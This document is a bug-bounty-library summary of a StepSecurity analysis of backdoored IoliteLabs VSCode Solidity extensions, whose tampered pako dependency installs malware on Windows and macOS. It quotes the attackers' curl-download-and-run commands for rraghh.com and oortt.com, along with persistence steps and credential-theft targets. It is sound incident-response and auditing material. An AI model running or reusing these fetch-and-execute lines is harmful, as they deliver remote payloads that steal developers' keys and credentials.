# Malicious IoliteLabs VSCode Extensions Target Solidity Developers on Windows, macOS, and Linux with Backdoor

Compromised IoliteLabs VSCode Solidity extensions shipped a backdoor in tampered pako dependency, dropping Windows hook DLL and macOS persistent binaries on every VSCode startup.

- Payout: Real-world hack
- Severity: critical
- Program: IoliteLabs VSCode extensions
- Analysis by: StepSecurity
- Disclosed: 2026-04-02
- Write-up quality: 8/10
- Original: https://www.stepsecurity.io/blog/malicious-iolitelabs-vscode-extensions-target-solidity-developers-on-windows-macos-and-linux-with-backdoor
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-malicious-iolitelabs-vscode-extensions-target-solidity-developers-on-windows-macos-and-linux-with-b
- Tags: area:web3 domain:desktop impact:ato impact:data-leak kind:incident platform:threat-intel sev:critical tech:nodejs technique:reverse-engineering technique:source-review vuln:misconfiguration

**Target:** VSCode extensions (solidity-macos/windows/linux) bundling tampered pako npm dependency
**Root cause:** Attacker hijacked a dormant publisher account and published v0.1.8 with malicious code injected into bundled pako/index.js rather than the entry point, activated via onStartupFinished to run on every VSCode launch.
**Steps:**
1. Install iolitelabs.solidity-macos/windows/linux v0.1.8 from Marketplace
2. On VSCode startup, extension.js calls pako.deflate(), loading tampered extension/node_modules/pako/index.js line 10
3. Injected line requires child_process and checks process.platform
4. Windows: `curl -k -L -Ss https://rraghh.com/gt/calc.bat -o %TEMP%\1.bat && start /b 1.bat` detached
5. calc.bat reconstructs URL from env var fragments, downloads `https://oortt.com/gt/7WhiteSmoke.msi`, runs `msiexec /i ... /qn`
6. MSI extracts ntuser DLL to %APPDATA%\Chrome\ChromeUpdate and runs `regsvr32 /s /i ntuser`
7. macOS: `curl -fsSL https://cdn.rraghh.com/gt/doc.sh | bash`
8. doc.sh writes hidden ~/.local/bin/.system_updater, installs LaunchAgent com.apple.system.updater, strips com.apple.quarantine via xattr, downloads doc (x86_64) and doc1 (arm64) pkg binaries
**How found:** Analyst noticed simultaneous v0.1.8 update after 8-year dormancy, VSIX size drop from 35-40MB to 2MB, no corresponding GitHub commits, and onStartupFinished activation; diffed bundled pako against legitimate pako@1.0.11 SHA-256 to locate injected line.
**Exploitation:** Backdoor executes on every VSCode launch. Windows installs a hook DLL (SetDesktopMonitorHook exports) via regsvr32 LOLbin for input monitoring; macOS installs login-persistent LaunchAgent and pkg-packaged Node exfiltration binaries (archiver, form-data, graceful-fs) to sweep and upload wallet keys, seed phrases, .env, SSH and cloud credentials.
**Escalation:** Three separate C2 domains (rraghh.com, cdn.rraghh.com, oortt.com) for resilience; platform-specific payloads including Intel vs Apple Silicon; dormant publisher account inherits 8 years of trust and ~27,500 installs.
**Insight:** When auditing VSCode extensions, diff every bundled node_modules file against upstream package hashes rather than reading only the declared entry point; a size drop plus onStartupFinished activation in a language extension is a strong compromise signal.